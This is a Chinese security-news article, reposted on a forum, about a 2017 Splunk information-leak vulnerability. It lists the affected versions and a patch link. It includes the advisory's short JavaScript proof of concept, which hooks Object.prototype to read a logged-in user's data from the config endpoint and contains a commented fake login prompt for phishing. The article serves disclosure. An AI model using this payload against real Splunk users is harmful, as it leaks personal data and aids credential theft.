搜索

[3694] 2017-04-03_有动静？Splunk正在泄露您的个人数据(含Poc)

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-16
2017-04-03_有动静？Splunk正在泄露您的个人数据(含Poc) 有 动 静 ？ S p l u n k 正 在 泄 露 您 的 个 人 数 据 ( 含 P o c ) 原 创   E 安 全   E 安 全   2 0 1 7 - 0 4 - 0 3 E 安 全 4 月 3 日 讯   S p l u n k 近 日 发 布 了 一 项 安 全 补 丁 ， 修 复 其 J a v a S c r i p t 代 码 泄 露 用 户 信 息 的 问 题 。 什 么 是 什 么 是 S p l u n k ?         S p l u n k   是 机 器 数 据 的 引 擎 。 使 用   S p l u n k   可 收 集 、 索 引 和 利 用 所 有 应 用 程 序 、 服 务 器 和 设 备 （ 物 理 、 虚 拟 和 云 中 ） 生 成 的 快 速 移 动 型 计 算 机 数 据   。 从 一 个 位 置 搜 索 并 分 析 所 有 实 时 和 历 史 数 据 。   使 用   S p l u n k i n g   处 理 计 算 机 数 据 ， 可 让 您 在 几 分 钟 内 （ 而 不 是 几 个 小 时 或 几 天 ） 解 决 问 题 和 调 查 安 全 事 件 。 监 视 您 的 端 对 端 基 础 结 构 ， 避 免 服 务 性 能 降 低 或 中 断 。 以 较 低 成 本 满 足 合 规 性 要 求 。 关 联 并 分 析 跨 越 多 个 系 统 的 复 杂 事 件 。 获 取 新 层 次 的 运 营 可 见 性 以 及   I T   和 业 务 智 能 。       其 在 全 面 披 露 文 件 当 中 解 释 称 ， 如 果 攻 击 者 诱 导 已 经 完 成 身 份 验 证 的 用 户 访 问 某 恶 意 网 页 ， 则 后 者 的 个 人 信 息 即 可 遭 到 泄 露 。 无 论 用 户 是 否 启 用 远 程 访 问 功 能 ， 这 项 漏 洞 都 仅 会 泄 露 用 户 的 用 户 名 称 ， 但 这 一 信 息 已 经 足 以 允 许 攻 击 者 尝 试 利 用 后 续 的 网 络 钓 鱼 攻 击 获 取 更 多 用 户 凭 证 。 建 议 报 告 指 出 ， 这 项 b u g 源 自 S p l u n k 在 其 O b j e c t 原 型 在 J a v a S c r i p t 中 的 使 用 方 式 。 以 下 为 建 议 报 告 中 给 出 的 P o c 概 念 验 证 过 程 ： < s c r i p t >   O b j e c t . d e f i n e P r o p e r t y （ O b j e c t . p r o t o t y p e ， “ $   C ” ， { s e t ： f u n c t i o n （ v a l ） {  
      / /   p r o m p t （ “ S p l u n k   T i m e d   o u t ：   n P l e a s e   L o g i n   t o   S p l u n k     n U s e r n a m e ： ” +   v a l . U S E R N A M E ， “ P a s s w o r d ”   ） f o r （ v a r   i   i n   v a l ） {     a l e r t （ “ ” +   i   + “ ” +   v a l   [ i ] ） ;       }     }   } ） ;   < /   s c r i p t >   < s c r i p t   s r c   = “ h t t p s ： / /   V I C T I M - I P ： 8 0 0 0   /   e n - U S   /   c o n f i g ？ a u t o l o a d   =   1 ” t y p e   = “ t e x t   /   j a v a s c r i p t ” >   < /   s c r i p t > 这 项 问 题 会 影 响 到 S p u n k   E n t e r p r i s e 版 本 6 . 5 . x 当 中 6 . 5 . 3 之 前 的 各 版 本 、 6 . 4 . x 当 中 6 . 4 . 6 之 前 的 各 版 本 、 6 . 3 . x 当 中 6 . 3 . 1 0 之 前 的 各 版 本 、 6 . 2 . x 当 中 6 . 2 . 1 3 . 1 之 前 的 各 版 本 、 6 . 1 . x 当 中 6 . 1 . 1 3 之 前 的 各 版 本 、 6 . 0 . x 当 中 6 . 0 . 1 4 之 前 的 各 版 本 、 5 . 0 . x 当 中 5 . 0 . 1 8 之 前 的 各 版 本 以 及 S p l u n k   L i g h t 的 6 . 5 . 2 之 前 的 各 版 本 。 目 前 该 公 司 已 经 针 对 以 上 全 部 版 本 发 布 的 修 复 补 丁 。 补 丁 地 址 ： h t t p s : / / w w w . s p l u n k . c o m / v i e w / S P - C A A A P Z 3   E 安 全 注 ： 本 文 系 安 全 注 ： 本 文 系 E 安 全 独 家 编 译 报 道 ， 转 载 请 联 系 授 权 ， 并 保 留 出 处 与 链 接 ， 不 得 删 减 内 容 。 安 全 独 家 编 译 报 道 ， 转 载 请 联 系 授 权 ， 并 保 留 出 处 与 链 接 ， 不 得 删 减 内 容 。 联 系 方 式 ： ①   微 信 号 z h u - g e l i a n g   ② 邮 箱 e a p p @ e a s y a q . c o m @ E 安 全 ， 最 专 业 的 前 沿 网 络 安 全 媒 体 和 产 业 服 务 平 台 ， 每 日 提 供 优 质 全 球 网 络 安 全 资 讯 与 深 度 思 考 ， 欢 迎 关 注 微 信 公 众 号 「 E 安 全 」 （ E A Q a p p ） ， 或 登 E 安 全 门 户 网 站 w w w . e a s y a q . c o m   ,   查 看 更 多 精 彩 内 容 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理